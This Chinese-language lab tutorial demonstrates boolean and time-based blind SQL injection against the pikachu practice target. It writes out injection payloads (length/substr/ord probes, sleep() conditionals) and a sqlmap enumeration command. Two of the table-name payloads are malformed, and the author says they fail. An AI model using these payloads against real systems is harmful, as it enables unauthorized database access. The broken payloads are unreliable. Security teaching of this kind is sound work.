一、boolean盲注
boolean注入就是系统屏蔽返回错误信息,只返回是或不是,所以我们不能直观的得到数据库信息,在这里,我们就只能通过boolean盲注进行注入。
我们依旧使用pikachu靶场进行测试,这里肯定是存在SQL注入的,就不再多作演示。
我们先看一下为什么这里只能用boolen注入。我们在靶场的union和boolean注入处都输入:
kobe' order by 3#
可以看到,uhion注入是不屏蔽报错信息的,而boolean注入只显示你输入有误,屏蔽了报错信息。
而只有当我们输入正确的时候,才会返回信息。
接下来我们先判断一下数据库的长度,我们先输入:
kobe' and length(database())>6#
返回正确结果。
而当我们输入:
kobe' and length(database())>7#
显示输入有误。
这说明数据库长度为7。接下来我们需要得到数据库名,由于我们已经知道数据库名为“pikachu”,所以就不依次尝试了,我们直接判断第一位是否为“p”。输入以下:
kobe' and substr(database(),1,1)='p'#
substr是截取的意思,这里截取database()的值,从第一位开始,每次只返回一个。
这里我们也可以使用ASCII码进行转换,“p”的ASCII码值为112,在MySQL中转换ASCII的函数是ord(),则payload构造为:
kobe' and ord(substr(database(),1,1))=112#
发现返回了正确结果,证明数据库名第一位就是“p”。后面的我们就不一一验证了,每一次都将第二个参数替换即可,比如第二次为2。
接下来我们要得到表名,由于我们知道表名为:httpinfo,所以我们就直接测试httpinfo表第一位是否为“h”。输入:
kobe' and substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)1,1)='h'#
这里我的payload应该是没有问题的,但是一直出错。索性我们用sqlmap跑一下。输入:
sqlmap -u " http://192.168.59.1:8080/pikachu-master/vul/sqli/sqli_blind_b.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables --dbms=mysql
二、时间盲注
时间盲注就是利用sleep()或benchmark()等函数让MySQL的执行时间变长,多与if(expr1,erpr2,expr3) 结合使用,此if语句的含义是:如果expr1为TRUE,则if()的返回值是expr2,否则返回值为expr3。如果说boolean盲注还有0/1回显,那么时间盲注就是你不管你输入什么都看不到。可以看到这里我们输入“kobe”也显示错误。
那我们就尝试构造一个基于时间的payload,如下:
kobe' and if(length(database())>1,sleep(10),1)#
如果数据库长度大于1,则MySQL查询休眠10秒,否则查询1,即kobe。
可以看到查询是休眠了10s的,证明这里存在基于时间的注入漏洞。接下来依然可以验证数据库名第一位是否为“p”,输入:
kobe' and if(substr(database(),1,1)='p',sleep(10),1)#
可以看到该测试成功执行,数据库名第一位就是“p”。接下来依然可以判断第一张表的表名的第一个字符,输入:
kobe' and if(substr(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1,1)='m',sleep(10),1)#
这里依然有问题,跟上面的boolean一样。